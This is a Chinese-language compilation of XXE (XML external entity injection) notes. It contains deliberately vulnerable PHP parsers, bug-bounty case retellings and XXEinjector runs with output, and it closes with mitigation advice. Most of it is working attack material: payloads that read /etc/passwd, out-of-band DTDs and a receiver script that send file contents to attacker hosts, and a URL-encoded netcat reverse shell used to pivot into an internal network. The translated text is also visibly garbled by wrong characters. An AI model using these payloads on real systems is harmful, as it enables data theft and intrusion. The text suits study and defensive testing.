bash $ tree . . ├── dom.php # 示例:使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body └── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
dom.php、SimpleXMLElement.php、simplexml_load_string.php都可触发XXE漏洞,具体输出点请阅读这三个文件的代码。
Simple XXE Payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>
或者:
<?php
$a=<<<XML //书写XML文档
XML; //注:在高版本php中对外部实体的解析默认关闭了,因此下面要这样写来启用
libxml_disable_entity_loader(false);
$data=simplexml_load_string($a, 'SimpleXMLElement', LIBXML_NOENT);
echo $data;
?>
输出:
URL:google.com/gadgets/directory?synd=toolbar
报告连接:https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers
描述:
了解 XML 以及外部实体以后,这个漏洞实际上就很是直接了。Google 的工具栏按钮容许开发者定义它们本身的按钮,经过上传包含特定元数据的 XML 文件。
可是,根据 Detectify 小组,经过上传带有!ENTITY,指向外部文件的 XML 文件,Google 解析了该文件,并渲染了内容。所以,小组使用了 XXE 漏洞来渲染服务器的/etc/passwd文件。游戏结束。
URL:facebook.com/careers
报告连接:http://www.attack-secure.com/blog/hacked-facebook-word-document
描述:
这个 XXE 有一些区别,而且比第一个例子更有挑战,由于它涉及到远程调用服务器,就像咱们在描述中讨论的那样。
2013 年底,Facebook 修补了一个 XXE 漏洞,它可能会升级为远程代码执行漏洞,由于/etc/passwd文件的内容是可访问的。所以在 Mohamed 于 2014 年 4 月挑战本身来渗透 Facebook 的时候,它不认为 XXE 可能存在,直到他发现它们的职位页面容许用户上传.docx文件,它能够包含 XML。对于那些不知道的人,.docx文件只是个 XML 文件的压缩包。因此,根据 Mohames,它建立了一个.docx文件,并使用 7zip 打开它来提取内容,并将下面的载荷插入了一个 XML 文件中。
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
%dtd;
%send;
]]>
你会想到,在解析的时候,若是受害者开启了外部实体,XML 解析器会调用远程主机。要注意!ENTITY定义中和下面使用了%。这是由于这些占位符用在 DTD 自身中。在收到请求调用以后,远程服务器会发送回 DTD 文件,像这样:
<!ENTITY send SYSTEM 'http://197.37.102.90/?%26file;'>"
因此,回到文件中的载荷:
1.解析器会将%dtd;替换为获取远程 DTD 文件的调用。
2.解析器会将%send;替换为服务器的远程调用,可是%file;会替换为file:///etc/passwd的内容。
因此,Mohamed 使用 Python 和SimpleHTTPServer开启了一台本地服务器,并等待接收:
在报告以后,Facebook 发送了回复,拒绝了这个报告,并说它们不能重现它,并请求内容的视频验证。在交换一些信息以后,Facebook 提到招聘人员可能打开了文件,它会发送任意请求。Facebook 自傲组作了一些深刻的挖掘,并给予了奖金,发送了一个邮件,解释了这个 XXE 的影响比 2013 年初的要小,可是仍然是一个有效的利用,这里是这个信息。
重要结论
这里有一些重要结论。XML 文件以不一样形式和大小出现。要留意接受.docx、.xlsx、.pptx,以及其它的站点。向我以前提到过的那样,有时候你不会直接从 XXE 收到响应,这个示例展现了如何创建服务器来接受请求,它展现了 XXE。
此外,像咱们的例子中那样,有时报告一开始会被拒绝。拥有信息和耐心和你报告的公司周旋很是重要。尊重他们的决策,同时也解释为何这多是个漏洞。
URL:wikiloc.com
报告连接:http://www.davidsopas.com/wikiloc-xxe-vulnerability
描述:
根据他们的站定,Wikiloc 是个用于发现和分享最佳户外远足、骑车以及许多其余运动记录的地方。有趣的是,他们也让用户经过 XML 文件上传他们本身的记录,这就对例如 David Soaps 之类的骑手很是有吸引力了。
基于他们的 Write Up,David 注册了 Wikiloc,并注意到了 XML 上传点,决定测试它有没有 XXE 漏洞。最开始,它从站点下载了文件来判断 XML 结构,这里是一个.gpx文件,并插入了*<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://www.davidsopas.com/XXE” > ]>;。
以后它调用了.gpx文件中 13 行的记录名称中的实体。
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/>
<trk>
<name>&xxe;</name>
<trkseg>
<trkpt lat="40.737758000" lon="-8.093361000">
<ele>178.000000</ele>
<time>2009-01-10T14:18:10Z</time>
(...)
这产生了发往服务器的 HTTP GET 请求,GET 144.76.194.66 /XXE/ 10/29/15 1:02PM Java/1.7.0_51。这有两个缘由值得注意,首先,经过使用一个概念调用的简单证实,David 可以确认服务器求解了它插入的 XML 而且进行了外部调用。其次,David 使用现存的 XML 文件,以便时它的内容知足站点所预期的结构。虽然它没有讨论这个,调用它的服务器可能并非必须的,若是它可以服务/etc/passwd文件,并将内容渲染在<name>元素中。
在确认 Wikiloc 会生成外部 HTTP 请求后,惟一的疑问就是,是否它可以读取本地文件。因此,它修改了注入的XML,来让 Wikiloc 向他发送它们的/etc/passwd文件内容。
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///etc/issue">
<!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd">
%dtd;]>
<gpx
version="1.0"
creator="GPSBabel - http://www.gpsbabel.org"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.topografix.com/GPX/1/0"
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd">
<time>2015-10-29T12:53:09Z</time>
<bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/>
<trk>
<name>&send;</name>
(...)
这看起来十分熟悉。这里他使用了两个实体,它们都在 DTD 中求值,因此它们使用%定义。&send;在<name>标签中的的引用实际上由返回的xxe.dtd文件定义,他的服务器将其发送回 Wikiloc。这里是这个文件:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
%all;
要注意%all;实际上定义了!ENTITY send,咱们刚刚在<name>标签中注意到它。这里是求值的过程:
1.Wikiloc 解析了 XML,并将%dtd;求值为 David 的服务器的外部调用。
2.David 的服务器向 Wikiloc 返回了xxe.dtd文件。
3.Wikiloc 解析了收到的 DTD文件,它触发了%all;的调用。
4.当%all;求值时,它定义了&send;,它包含%file;实体的调用。
5.%file;在 URL 值中被替换为/etc/passwd文件的内容。
6.Wikiloc 解析了 XML 文件,发现了&send;实体,它求值为 David 服务器的远程调用,带有/etc/passwd的内容,做为 URL 中的参数。
重要结论:
像以前提到的那样,这是一个不错的例子,展现了如何使用来自站点的 XML 模板,来组装你本身的 XML 实体,便于让目标合理地解析文件。这里,Wikiloc 期待.gpx文件,而 David 保留了该结构,在预期标签中插入了他本身的 XML 实体,也就是<name>标签。此外,观察如何处理恶意 DTD 文件颇有意思,而且能够用于随后让目标向你的服务器发送 GET 请求,带有文件内容做为 URL 参数。
日前,某office文档转换软件被爆存在XXE漏洞(PS:感谢TSRC平台白帽子Titans`报告漏洞),某一应用场景为:Web程序调用该office软件来获取office文档内容后提供在线预览。因为该软件在处理office文档时,读取xml文件且容许引用外部实体,当用户上传恶意文档并预览时触发XXE攻击。详情以下:
新建一个正常文档,内容为Hi TSRC,
使用该软件转换后能够获得文本格式的文档内容,
当往该docx的xml文件注入恶意代码(引用外部实体)时,可进行XXE攻击。
这里按照 Attacking XML with XML External Entity Injection (XXE) 的教程在 kali 2 下进行测试
Victim IP: 192.168.1.28
Attacker IP: 192.168.1.17
存在xxe漏洞的php代码以下,加了一些注释
<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
# LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";
?>
在 /var/www/html 下建立 xmlinject.php 文件,启动apache
cd /var/www/html
vim xmlinject.php
service apache2 start
测试
POST http://192.168.1.28/xmlinject.php
<creds>
<user>admin</user>
<pass>mypass</pass>
</creds>
响应
You have logged in as user admin
使用外部实体来加载本地文件
POST http://192.168.1.28/xmlinject.php
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
这里声明了一个外部实体 xxe,值为 file:///etc/passwd,即本地 /etc/passwd 文件的内容
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
而后在元素 user 内引用了该实体 &xxe;
<user>&xxe;</user>
请求响应
You have logged in as user root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
....
命令执行由于默认都没有装 expect module, 就不进行测试了
在以前的例子中,结果被做为响应的一部分被返回了,但若是遇到没有回显的状况,就须要使用其余办法。
由于没法直接将要读取的文件内容发送到服务器,因此须要经过变量的方式,先把要读取的文件内容保存到变量中,而后经过 URL 引用外部实体的方式,在 URL 中引用该变量,让文件内容成为 URL 的一部分(如查询参数),而后经过查看访问日志的方式来获取数据。
前面提到只有在 DTD 文件中声明 参数实体 时才能够引用其余参数实体,如
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % param1 "Hello">
<!ENTITY % param2 ",World">
<!ENTITY % outter SYSTEM "other.dtd">
%outter;
]>
other.dtd 文件内容为:
<!ENTITY % name "%param1;%param2;">
参数实体 name 引用了 参数实体 param1 和 param2,最后的值为 Hello,World
根据上面的分析,给出方法:
请求payload
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%send;
]>
<foo></foo>
外部 DTD 文件 http://192.168.1.17:80/file.dtd 内容:
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY % send system 'http://192.168.1.17:80/?p=%file;'>">
由于实体的值中不能有 %, 因此将其转成html实体编码 ` %`
过程分析:
首先 %remote; 加载 外部 DTD 文件,获得:
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY % send system 'http://192.168.1.17:80/?p=%file;'>">
%int;%send;
接着 %int; 获取对应实体的值,由于值中包含实体引用 %file;, 即 /etc/hosts 文件的内容,获得:
<!ENTITY % send system 'http://192.168.1.17:80/?p=[文件内容]'>
%send;
最后 %send; 获取对应实体的值,会去请求对应 URL 的资源,经过查看访问日志便可获得文件内容,固然这里还须要对内容进行编码,防止XML解析出错.
**如下内容参考了exploitation-xml-external-entity-xxe-injection 这篇文章 **
这里使用 XXEinjector 来进行无回显自动化获取文件。
首先修改以前的代码,去掉回显
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// $creds = simplexml_import_dom($dom);
// $user = $creds->user;
// $pass = $creds->pass;
// echo "You have logged in as user $user";
?>
下载 XXEinjector
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector
使用 burp 获取原始正常的请求
curl -d @xml.txt http://192.168.1.28/xmlinject.php --proxy http://127.0.0.1:8081
xml.txt 内容
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
burp中获取到的请求信息
POST /xmlinject.php HTTP/1.1
Host: 192.168.1.28
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
在须要注入 DTD 的地方加入 XXEINJECT,而后保存到 phprequest.txt,XXEinjector 须要根据原始请求来进行获取文件内容的操做
POST /xmlinject.php HTTP/1.1
Host: 192.168.1.28
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
XXEINJECT
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
运行 XXEinjector
sudo ruby XXEinjector.rb --host=192.168.1.17 --path=/etc/hosts --file=phprequest.txt --proxy=127.0.0.1:8081 --oob=http --verbose --phpfilter
参数说明
host: 用于反向链接的 IP
path: 要读取的文件或目录
file: 原始有效的请求信息,可使用 XXEINJECT 来指出 DTD 要注入的位置
proxy: 代理服务器,这里使用burp,方便查看发起的请求和响应
oob:使用的协议,支持 http/ftp/gopher,这里使用http
phpfilter:使用 PHP filter 对要读取的内容进行 base64 编码,解决传输文件内容时的编码问题
运行后会输出 payload 和 引用的 DTD 文件
XXEinjector git:(master) sudo ruby XXEinjector.rb --host=192.168.1.17 --path=/etc/hosts --file=phprequest.txt --proxy=127.0.0.1:8081 --oob=http --verbose --phpfilter
Password:
XXEinjector by Jakub Pałaczyński
DTD injected.
Enumeration locked.
Sending request with malicious XML:
http://192.168.1.28:80/xmlinject.php
{"User-Agent"=>"curl/7.43.0", "Accept"=>"*/*", "Content-Length"=>"159", "Content-Type"=>"application/x-www-form-urlencoded"}
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%trick;]>
<creds>
<user>Ed</user>
<pass>mypass</pass>
</creds>
Got request for XML:
GET /file.dtd HTTP/1.0
Responding with XML for: /etc/hosts
XML payload sent:
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.1.17:80/?p=%payl;'>">
payload为
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.1.17:80/file.dtd">%remote;%int;%trick;]>
DTD文件为
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/hosts">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.1.17:80/?p=%payl;'>">
成功获取到文件
Response with file/directory content received:
GET /?p=MTI3LjAuMC4xCWxvY2FsaG9zdAoxMjcuMC4xLjEJa2FsaQoKIyBUaGUgZm9sbG93aW5nIGxpbmVzIGFyZSBkZXNpcmFibGUgZm9yIElQdjYgY2FwYWJsZSBob3N0cwo6OjEgICAgIGxvY2FsaG9zdCBpcDYtbG9jYWxob3N0IGlwNi1sb29wYmFjawpmZjAyOjoxIGlwNi1hbGxub2RlcwpmZjAyOjoyIGlwNi1hbGxyb3V0ZXJzCg== HTTP/1.0
Enumeration unlocked.
Successfully logged file: /etc/hosts
XXEinjector git:(master) cat Logs/192.168.1.28/etc/hosts.log
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
在 kali 下拿 /etc/passwd 测试时,没法获取到,文件大小为 2.9K,base64后的长度为 3924 个字符
root@kali:/var/www/html# ls -lh /etc/passwd
-rw-r--r-- 1 root root 2.9K Jan 20 2016 /etc/passwd
报错为:
root@kali:/var/www/html# tail -f /var/log/apache2/error.log -n 0
[Wed Nov 16 04:45:23.548874 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Warning: DOMDocument::loadXML(): Detected an entity reference loop in http://192.168.1.17:80/file.dtd, line: 2 in /var/www/html/xmlinject.php on line 5
[Wed Nov 16 04:45:23.549126 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Notice: DOMDocument::loadXML(): PEReference: %int; not found in Entity, line: 1 in /var/www/html/xmlinject.php on line 5
[Wed Nov 16 04:45:23.549155 2016] [:error] [pid 1379] [client 192.168.1.17:57042] PHP Notice: DOMDocument::loadXML(): PEReference: %trick; not found in Entity, line: 1 in /var/www/html/xmlinject.php on line 5
减小文件大小后,能够获取到,推测应该是 外部实体中的 URI 有长度限制致使没法获取到
使用如下PHP脚本,它解析发送给它的XML并将其回传给用户。我把它命名为NEW_XXE.php,并把它放在个人Web根目录下的CUSTOM目录中。
<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml = simplexml_import_dom($dom);
$stuff = $xml->stuff;
$str = "$stuff \n";
echo $str;
?>
若是要在实验室中建立此场景,你能够将上述脚本放入PHP服务器(要先确保安装了php-xml)
如今建立一个xml文件,做为请求发送到具备如下内容的服务器。我命名为“send.txt”,并将其从服务器上发送到本地主机,以确保一切都符合预期。
你能够把任何你想要的东西,像这样把它发送到本地主机。
将“send.txt”修改成如下内容:
这是对Linux系统的典型XXE攻击,是证实该漏洞存在的好方法。若是一切正常,你应该获得一个“/ etc / passwd”转储(dump)。
从 服务器上 再次发送到本地主机。
XXE能够作的另外一件很是有用的事情是建立HTTP请求。
在WEBSVR01上的8888端口上启动python SimpleHTTPServer,咱们来看看会发生什么。
个人python http server服务器。
咱们能够发送http请求了。
在远程系统中,我能够利用此漏洞并获取一些网络信息。在这里我解释一下这个漏洞,你能够在互联网上许多的Web服务器上发现这个漏洞,你能够用它做为枢轴点。
下图显示了所有。我在34.200.157.128找到了一个网络服务器,该主机真的是NAT /Firewall设备后面的WEBSVR01。WEBSVR01有一个XXE漏洞,我想用来收集信息并用来攻击利用WEBSRV02。个人攻击PC是在开放的互联网上的。
若是你作了适当的信息收集或者枚举,你能够发现这是一个Ubuntu的服务器。你能够在几个敏感的地址查看到这个服务器的网路信息。
首先,你要抓取“/etc/networking/interfaces”,若是须要更多信息,能够查看“/proc/net/route”(若是这些值为十六进制,则可能须要转换它们)。
在个人攻击PC(Ubuntu 14 LTS)中,我建立请求文件从Web服务器抓取“/etc/network/interfaces”。
在ATTACK PC上编辑文件来抓取/etc/passwd:
发送请求:
如今咱们知道这个内部网络或DMZ的IP方案的host地址是在哪了。咱们使用XXE来获取其内部IP地址10.0.0.3得服务器默认页面。
注意:有些字符会破坏XML。到目前为止,咱们只查看了文件或者作了简单的http请求,没有返回会破坏咱们的XML的字符。因为咱们使用的是PHP,因此返回的内容是base64编码的。在ATTACK PC上更改你的“send.txt”以匹配如下内容,并添加如下PHP过滤器。
如今发送请求
如今咱们获得了base64编码的内容,一旦解码,咱们就获得了网页的内容了。
将上面的都放在一块儿,咱们如今能够扫描Web服务器的内部IP范围了。
固然使用Python了。
你能够在个人<a href="https://github.com/rschwass/SCRIPTS/blob/master/XEE_SCANNER.py">GitHub上获取脚本。
从ATTACK PC, EXECUTE!
让咱们看看Base64如何解码10.0.0.4返回的数据。
exploit-db.com上的小漏洞:https://www.exploit-db.com/exploits/10610/
由于咱们得到了一个index.pl(Perl)文件,因此我要假设CGI是启用的,因此这个漏洞能够执行。它经过在GET请求中传递参数来执行,所以咱们能够对面向公网的主机进行XXE漏洞攻击。
解密Metasploit模块后,须要发送的请求就像此URL编码的http请求同样:
http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%2
00%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60
注意,我把个人IP地址放在“34.200.157.80”,个人Netcat侦听器就会启动。整个字符串是一个URL编码的反向Netcat外壳,没有使用“-e”来使用mknod和backpipe。
如今让咱们经过XXE漏洞来触发10.0.0.4的漏洞。
在ATTACK PC上建立Netcat侦听器并执行!
如今你获得一个反向的Shell了
那是2016年7月26日的晚上,我游荡在ubermovement网站上,鉴于这只是一个小型应用网站,没有太多的参数能够进行注入测试,我只能先从界面上那大大的搜索框开始常规的测试。
首先,打开个人 Burp Suite 设置代理开始监听浏览器请求,而后就是在网站上瞎转悠咯…
随后,我在网站目录中发现 “search” 存在两个请求:
1. 这个是我搜索的关键字:http://ubermovement.com/api/search/GeneralSearch?crumb=ASmuamNBJiP4eyC3qpXZWu87i5X6PWGh&q=cat&p=0
2. http://ubermovement.com/api/search/GeneralSearch
如今,对于第一个请求我要开始进行各类测试了,包括:XSS、SQL 注入、XPATH、XXE、命令注入…
但理想老是丰满的,而现实倒是骨干的,我没有发现任何可能存在的漏洞。
那我只能开始继续测试第二请求了,因为其没有任何参数,因此我将其发送至 “Repeater” 模块,看看是否可能存在目录相关的漏洞。
在大部分的注入测试所有失败后,我开始尝试看看是否存在 XXE 漏洞。
第一件事是先将请求方法改成 POST 看看会得到什么样的相应:
结果,POST 请求的相应跟 GET 请求同样,那么请求头部加一个Content-type:application/xml同时添加以下基本的 XML 代码做为请求怎么样呢?
<?xml version=”1.0″encoding=”utf-8″?>
<GeneralSearch>cat</GeneralSearch>
居然回复的是一个 XML 错误,太好了,这下我有60%的把握肯定这里存在 XXE 漏洞。既然肯定了那就开始进行 Blind XEE 测试吧。
第一个使用以下 XML 代码:
<?xmlversion="1.0" encoding="utf-8"?>
<!DOCTYPE dtgmlf6 [ <!ENTITY xxe SYSTEM"file:///etc/passwd">
]>
<GeneralSearch>&xxe;</GeneralSearch>
但很不幸,我获得仍是一个 XML 错误的回复。那如今来试试经过 OOB(Out-of-band)方法进行远程文件访问测试:
step-1: 在本地上下载安装 XAMPP 并搭建一个网站
step-2: 开启 80 端口的网站,让外部网络可以访问到
step-3: 使用以下 Payoad:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">
]>
<GeneralSearch>&dtgmlf6ent;</GeneralSearch>
step-4: 开始攻击,随后获得以下报错
step-5: 接着查看服务器日志我发现了来自目标服务器的资源获取请求
至此,手工测试已经基本肯定了目标存在 XXE 漏洞,那么再让咱们用 AWVS 扫描确认下吧。
肯定目标存在 XXE 漏洞,那目标的子域名是否一样存在这个漏洞呢?来让咱们使用 Google 搜索下就知道了,测试发现目标子域名一样也都存在这个漏洞,好了是时候提交漏洞了。
当容许引用外部实体时,经过构造恶意内容,可致使读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
使用simplexml_load_string函数解析body
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
有回显,直接读取文件
Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
无回显,引用远程服务器上的XML文件读取文件
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.com/1.xml">
%remote;]>
将如下1.xml保存到WEB服务器下
1.xml
<!ENTITY % a SYSTEM "file:///etc/passwd">
<!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com/%a;'>"> %b; %c
在主机上放一个接收文件的php(get.php):
<?php
file_put_contents('01.txt', $_GET['xxe_local']);
?>
1.xml内容:
<!ENTITY % payload SYSTEM"php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://xxe.com/get.php?xxe_local=%payload;'>">
%int;
%trick;
这个XML,他引用了外部实体etc/passwd做为payload的值,而后又将payload拼接到http://xxe.com/get.php?xxe_local=%payload;,进行HTTP请求。
接收到请求的get.php就将这个文件内容保存到01.txt了,造成了一个文件读取的过程。
发包过去后,就会请求1.xml,解析这个xml形成XXE攻击,读取etc/passwd并进行base64编码后传给get.php,最后保存到主机上
提交POST请求XML文件
提交一个POST请求,请求头加上Content-type:application/xml
同时添加测试代码
<?xml version="1.0"encoding="utf-8"?>
<test>cat</test>
经过OOB(Out-of-band)方法远程访问文件测试
1. 自建一个网站开启80端口
2. 在测试网站提交payload,以下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/">
]>
<GeneralSearch>&dtgmlf6ent;</GeneralSearch>
3.查看网站返回内容
4.查看自建服务器访问日志,是否有DTD文件等请求
出于演示的目的,咱们将用到一个Acunetix维护的demo站点,这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。 访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’ 连接。注意观察应用程序怎样使用XML传输数据,过程以下图所示:
请求:
响应:
观察上面的请求与响应,咱们能够看到,应用程序正在解析XML内容,接受特定的输入,而后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行咱们自定义的XML内容,咱们发送以下的请求
修改后的请求和响应:
如上图所示,咱们在上面的请求中定义了一个名为myentity、值为’testing’的实体。 响应报文清晰地展现了解析器已经解析了咱们发送的XML实体,而后并将实体内容呈现出来了。 由此,咱们能够确认,这个应用程序存在XXE漏洞
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>">
%payload;
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">
%dtd;
%send;]>
<root></root>
1.检测xml是否被解析
<?xml version="1.0" encoding="ISO-8859-1"?>
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>21</id>
</Prod>
</Prod>
2.检测是否支持外部实体解析
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://YOURIP/TEST.ext" >]>
<Prod>
<Prod>
<Type>abc</type>
<name>Bugcrowd</name>
<id>&xxe</id>
</Prod>
</Prod>
在用户可控的XML数据里面将恶意内容写入到实体中,便可致使任意文件读取,系统命令执行等危害。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var "tzuxung">
]>
<root>
<data>&var;</data>
</root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var SYSTEM "file:///etc/passwd">
]>
<root>
<data>&var;</data>
</root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ELEMENT root (data)>
<!ELEMENT data (#PCDATA)>
<!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php">
]>
<root>
<data>&var;</data>
</root>
xxe.php是一个存在XXE注入漏洞的简单页面
<html>
<body>
<h1>XXE Example</h1>
<form method="post" enctype="multipart/form-data">
<label for="file">XML File:</label>
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="Upload">
</form>
<h1>Result</h1>
<?php
if( isset($_FILES["file"])){
$doc = new DOMDocument();
$doc->validateOnParse = true;
$doc->Load($_FILES["file"]["tmp_name"]);
$tags = $doc->getElementsByTagName("data");
foreach($tags as $tag) {
echo "<pre>" . $tag->nodeValue . "</pre>\n";
}
} else {
echo "<h3>No file was selected for upload.</h3>";
}
?>
</body>
</html>
https://github.com/enjoiz/XXEinjector
1.使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤用户提交的XML数据
对变量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC进行过滤.
例如,让咱们来试着定义一个新的自定义实体“harmless”。
<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>
如今,包含这个实体定义的XML文档能够在任何容许的地方引用&harmless;实体。
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless "completely harmless">]>
<results>
<result>This result is &harmless;</result>
</results>
XML解析器,例如PHP DOM,在解析这段XML时,会在加载完文档后当即处理这个自定义实体。所以,请求相关文本时,会获得以下的返回:
This result is completely harmless
下面的这个就确定不是无害的输入:
<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM
"file:///var/www/config.ini">]>
<results>
<result>&harmless;</result>
</results>
3.检查所使用的底层xml解析库,默认禁止外部实体的解析
4.使用第三方应用代码及时升级补丁
5.同时加强对系统的监控,防止此问题被人利用
对于PHP,因为simplexml_load_string函数的XML解析问题出在libxml库上,因此加载实体前能够调用这样一个函数
<?php
libxml_disable_entity_loader(true);
?>
以进行防御,对于XMLReader和DOM方式解析,能够参考以下代码:
<?php
// with the XMLReader functionality:
$doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);
// with the DOM functionality:
$dom = new DOMDocument();
$dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);
?>>
<wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">